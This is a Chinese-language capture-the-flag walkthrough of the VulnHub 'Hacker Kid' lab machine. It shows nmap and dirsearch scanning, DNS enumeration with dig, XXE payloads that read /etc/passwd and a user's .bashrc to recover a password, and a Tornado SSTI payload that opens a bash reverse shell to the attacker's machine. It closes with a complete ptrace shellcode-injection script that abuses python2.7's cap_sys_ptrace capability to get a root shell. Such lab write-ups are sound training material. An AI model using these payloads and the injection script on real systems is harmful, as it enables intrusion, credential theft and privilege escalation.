vulvhub-----Hacker-KID靶机-编程知识

打靶详细教程

1.网段探测
2.端口服务扫描
3.目录扫描
4.收集信息
- burp suite抓包
5.dig命令
6.XXE漏洞
- 读取.bashrc文件
7.SSTI漏洞
8.提权
- - 1.查看python是否具备这个能力
  - 2.使用python执行exp.py脚本，如果提权成功，靶机则会开放5600端口

1.网段探测

┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.0.131
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1     b8:3a:08:3b:f9:30       Tenda Technology Co.,Ltd.Dongguan branch
192.168.0.130   7c:b5:66:a5:f0:a5       Intel Corporate
192.168.0.139   00:0c:29:8e:dd:67       VMware, Inc.3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.959 seconds (130.68 hosts/sec). 3 responded

┌──(root㉿kali)-[~]
└─# nmap -Pn 192.168.0.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-18 06:24 ESTNmap scan report for hackers.blackhat.local (192.168.0.139)
Host is up (0.0030s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
9999/tcp open  abyss
MAC Address: 00:0C:29:8E:DD:67 (VMware)Nmap done: 256 IP addresses (4 hosts up) scanned in 9.03 seconds

2.端口服务扫描

┌──(root㉿kali)-[~]
└─# nmap -sC -sV -O 192.168.0.139 --min-rate 10000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-18 06:28 EST
Nmap scan report for hackers.blackhat.local (192.168.0.139)
Host is up (0.0013s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker 
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open  http    Tornado httpd 6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
|_http-server-header: TornadoServer/6.1
MAC Address: 00:0C:29:8E:DD:67 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.27 seconds

53端口是DNS
80端口是HTTP
9999端口是HTTP tornado服务(tornado是python的web框架)

3.目录扫描

┌──(root㉿kali)-[~]
└─# dirsearch -u "http://192.168.0.139"_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460Output File: /root/reports/http_192.168.0.139/_24-02-18_06-31-15.txtTarget: http://192.168.0.139/[06:31:15] Starting: 
[06:31:16] 403 -  278B  - /.ht_wsr.txt                                      
[06:31:16] 403 -  278B  - /.htaccess.bak1                                   
[06:31:17] 403 -  278B  - /.htaccess_orig                                   
[06:31:17] 403 -  278B  - /.htaccess.orig
[06:31:17] 403 -  278B  - /.htaccess_sc
[06:31:17] 403 -  278B  - /.htaccess.sample
[06:31:17] 403 -  278B  - /.htaccessBAK
[06:31:17] 403 -  278B  - /.htaccess.save
[06:31:17] 403 -  278B  - /.htaccessOLD2                                    
[06:31:17] 403 -  278B  - /.htaccessOLD
[06:31:17] 403 -  278B  - /.html                                            
[06:31:17] 403 -  278B  - /.htpasswd_test                                   
[06:31:17] 403 -  278B  - /.htm                                             
[06:31:17] 403 -  278B  - /.httr-oauth
[06:31:17] 403 -  278B  - /.htpasswds                                       
[06:31:18] 403 -  278B  - /.php                                             
[06:31:18] 403 -  278B  - /.htaccess_extra                                  
[06:31:28] 200 -    2KB - /app.html                                         
[06:31:31] 403 -  278B  - /cgi-bin/                                         
[06:31:34] 301 -  312B  - /css  ->  http://192.168.0.139/css/               
[06:31:40] 301 -  315B  - /images  ->  http://192.168.0.139/images/         
[06:31:40] 200 -  464B  - /images/                                          
[06:31:41] 301 -  319B  - /javascript  ->  http://192.168.0.139/javascript/ 
[06:31:56] 403 -  278B  - /server-status                                    
[06:31:56] 403 -  278B  - /server-status/Task Completed

然而，并没有扫到什么

4.收集信息

80端口是一个正常的页面，但查看源代码中，看到“ Use a GET parameter page_no  to view pages”字样，他的意思是通过GET方法，传入一个page_no的参数9999端口是一个登陆页面，想办法获取账号密码

在这里插入图片描述
传入参数后，回显告诉我们，在深入点，使用burp suite抓包

burp suite抓包

发送到intruder模块，将‘1’添加payload，从1-50开始爆破，爆破后21数值的长度不一样

在这里插入图片描述

5.dig命令

dig命令是一个灵活的DNS查询工具，用于从DNS域名服务器查询主机地址信息。

通过返回的结果，知道黑客创建了一些子域名，想办法拿到这些子域名，而它又告诉我们‘hackers.blackhat.local’这个域名，然后主机开放53端口DNS服务，所
以想到通过靶机开放的DNS服务，解析‘hackers.blackhat.local’这个域名。将‘ hackers.blackhat.local’添加到hosts文件中，使用dig命令，将黑客创建的子域名返回到出来

在这里插入图片描述

‘hackers.blackhat.local’：要解析的域名
‘@192.168.0.139’:指定要查询的DNS服务器地址┌──(root㉿kali)-[~]
└─# dig hackers.blackhat.local @192.168.0.139                                ; <<>> DiG 9.18.8-1-Debian <<>> hackers.blackhat.local @192.168.0.139
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 26677
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b49a80b2ef4502350100000065d1efb5ebaaa1b408c5985f (good)
;; QUESTION SECTION:
;hackers.blackhat.local.                IN      A;; AUTHORITY SECTION:
blackhat.local.         3600    IN      SOA     blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600;; Query time: 3 msec
;; SERVER: 192.168.0.139#53(192.168.0.139) (UDP)
;; WHEN: Sun Feb 18 06:53:26 EST 2024
;; MSG SIZE  rcvd: 125

将解析出的子域名，添加到/etc/hosts文件中
在这里插入图片描述

6.XXE漏洞

访问hackerkid.blackhat.local,是一个注册页面，查看源码，发现是xml格式，猜测是XXE漏洞，抓包验证

在这里插入图片描述

漏洞利用
构造xxe，payload读取/etc/passwd文件,需要将POST的数据包中的数据部分，全部替换

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<name>
admin
</name>
<tel>
111
</tel>
<email>
&xxe;
</email>
<password>
admin
</password>
</root>

在这里插入图片描述 成功读取
只有root用户和saket用户有/bin/bash

读取.bashrc文件

.bashrc 文件是一个在 Bash shell 启动时自动执行的脚本文件。Bash 是 Linux 和其他 UNIX-like 系统中常用的 shell，而 .bashrc 文件通常位于用户的主目录下（例如，/home/username/ 或 ~），并且通常包含用户的个性化设置和别名等。
.bashrc 文件中的命令会被自动执行。这使得用户能够定制他们的 shell 环境，包括设置环境变量、定义别名、修改提示符（prompt）等。

直接读取.bashrc会报错，所以使用php伪协议

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
<name>
admin
</name>
<tel>
111
</tel>
<email>
&test;
</email>
<password>
admin
</password>
</root>

在这里插入图片描述

在最后面，有账号密码，回到9999端口，登陆失败，结合密码中有Saket字样，和上面/etc/passwd中有saket用户，将账号改为saket
username="admin"
password="Saket!#$%@!!"

在这里插入图片描述

7.SSTI漏洞

根据提示，‘我怎么知道你是谁’，通过GET传参name，告诉它我是谁

在这里插入图片描述

因为9999端口是tornado服务，是由python搭建的框架，而tornado这个服务，有一个常见的SSTI模板输入漏洞，首先就是尝试看看有没有SSTI漏洞
payload：{{4*4}}       如果回显16，说明有漏洞
payload：{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]      如果报错，说明有SSTI漏洞（这是通用的测试SSTI漏洞的payload）

在这里插入图片描述

既然存在漏洞，就要想办法反弹shell，获取getshell。kali上监听8989端口：nc -lvnp 8989编码前：
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.0.131/8989 0>&1" ')}}
编码后：
%7B%25%20import%20os%20%25%7D%7B%7Bos%2Esystem%28%27bash%20%2Dc%20%22bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E0%2E131%2F8989%200%3E%261%22%20%27%29%7D%7D

在这里插入图片描述

8.提权

当python具备cap_sys_ptrace+ep 能力时，可以用来进行提权

1.查看python是否具备这个能力

/usr/sbin/getcap: 这是 getcap 命令的完整路径
-r:是递归出子目录
2>/dev/null: 这是对命令的标准错误输出的处理。saket@ubuntu:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/sbin/getcap -r / 2>/dev/null
/snap/core22/1033/usr/bin/ping = cap_net_raw+ep
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

2.使用python执行exp.py脚本，如果提权成功，靶机则会开放5600端口

在kali中写一个1.py；通过python3 -m http.server 8888,上传到靶机中

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypes
import sys
import struct# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointer
registers.rip=registers.rip+2# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

想要执行成功，需要root进程进行注入，python2.7 exp.py 2185，root进程太多，写一个简单的shell脚本

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 1.py $i; done

saket@ubuntu:/tmp$ for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 1.py $i; done
<grep"|awk '{print $2}'`; do python2.7 1.py $i; done
Instruction Pointer: 0x7f33a33685ceL
Injecting Shellcode at: 0x7f33a33685ceL
Shellcode Injected!!
....saket@ubuntu:/tmp$ netstat -ano | grep 5600
netstat -ano | grep 5600
tcp        0      0 0.0.0.0:5600            0.0.0.0:*               LISTEN      off (0.00/0/0)

在这里插入图片描述